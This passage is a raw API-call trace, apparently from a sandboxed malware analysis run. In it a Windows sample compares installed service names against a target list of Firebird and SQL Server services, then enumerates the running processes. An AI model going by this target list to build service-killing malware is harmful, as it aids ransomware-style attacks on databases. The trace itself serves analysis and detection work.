-1 [0168.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.172] lstrlenW (lpString="PlugPlay") returned 8 [0168.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.172] lstrlenW (lpString="Power") returned 5 [0168.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.173] lstrlenW (lpString="ProfSvc") returned 7 [0168.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.173] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.173] lstrlenW (lpString="RpcSs") returned 5 [0168.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.173] lstrlenW (lpString="SamSs") returned 5 [0168.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.173] lstrlenW (lpString="Schedule") returned 8 [0168.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.173] lstrlenW (lpString="SecurityHealthService") returned 21 [0168.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0168.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0168.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0168.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0168.174] lstrlenW (lpString="SENS") returned 4 [0168.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.174] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.174] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.174] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.174] lstrlenW (lpString="Spooler") returned 7 [0168.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.174] lstrlenW (lpString="SSDPSRV") returned 7 [0168.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0168.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0168.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0168.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0168.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0168.174] lstrlenW (lpString="StateRepository") returned 15 [0168.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0168.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0168.174] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0168.174] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0168.175] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800c8 | out: hHeap=0x790000) returned 1 [0168.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0168.181] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.182] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.183] lstrlenW (lpString="System") returned 6 [0168.183] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.184] lstrlenW (lpString="smss.exe") returned 8 [0168.184] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.185] lstrlenW (lpString="csrss.exe") returned 9 [0168.185] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0168.186] lstrlenW (lpString="wininit.exe") returned 11 [0168.186] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0168.187] lstrlenW (lpString="csrss.exe") returned 9 [0168.187] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0168.188] lstrlenW (lpString="winlogon.exe") returned 12 [0168.188] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0168.188] lstrlenW (lpString="services.exe") returned 12 [0168.189] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.189] lstrlenW (lpString="lsass.exe") returned 9 [0168.189] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.190] lstrlenW (lpString="svchost.exe") returned 11 [0168.190] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.191] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.191] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0168.194] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0168.194] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.195] lstrlenW (lpString="svchost.exe") returned 11 [0168.195] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.198] lstrlenW (lpString="dwm.exe") returned 7 [0168.198] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.199] lstrlenW (lpString="svchost.exe") returned 11 [0168.199] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.200] lstrlenW (lpString="svchost.exe") returned 11 [0168.200] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.201] lstrlenW (lpString="svchost.exe") returned 11 [0168.201] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.201] lstrlenW (lpString="svchost.exe") returned 11 [0168.201] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.202] lstrlenW (lpString="svchost.exe") returned 11 [0168.202] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.203] lstrlenW (lpString="svchost.exe") returned 11 [0168.203] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.203] lstrlenW (lpString="svchost.exe") returned 11 [0168.203] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.204] lstrlenW (lpString="svchost.exe") returned 11 [0168.204] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.205] lstrlenW (lpString="svchost.exe") returned 11 [0168.205] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.205] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.205] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.206] lstrlenW (lpString="svchost.exe") returned 11 [0168.206] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.207] lstrlenW (lpString="svchost.exe") returned 11 [0168.207] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.207] lstrlenW (lpString="audiodg.exe") returned 11 [0168.208] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0168.208] lstrlenW (lpString="sihost.exe") returned 10 [0168.208] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.209] lstrlenW (lpString="svchost.exe") returned 11 [0168.209] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.210] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.210] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0168.210] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0168.210] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0168.211] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0168.211] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.212] lstrlenW (lpString="explorer.exe") returned 12 [0168.212] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0168.212] lstrlenW (lpString="Memory Compression") returned 18 [0168.212] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0168.213] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0168.213] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0168.214] lstrlenW (lpString="SearchUI.exe") returned 12 [0168.214] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0168.214] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0168.214] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0168.215] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0168.215] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.216] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.216] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0168.216] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0168.216] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0168.217] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0168.217] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0168.218] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0168.218] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.219] lstrlenW (lpString="conhost.exe") returned 11 [0168.219] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0168.219] lstrlenW (lpString="screensaver.exe") returned 15 [0168.219] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0168.220] lstrlenW (lpString="upperarc.exe") returned 12 [0168.220] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0168.221] lstrlenW (lpString="buying.exe") returned 10 [0168.221] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0168.221] lstrlenW (lpString="downloadable.exe") returned 16 [0168.221] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0168.222] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0168.222] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0168.224] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0168.224] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0168.224] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0168.224] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0168.225] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0168.225] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0168.226] lstrlenW (lpString="moments.exe") returned 11 [0168.226] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0168.226] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0168.227] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 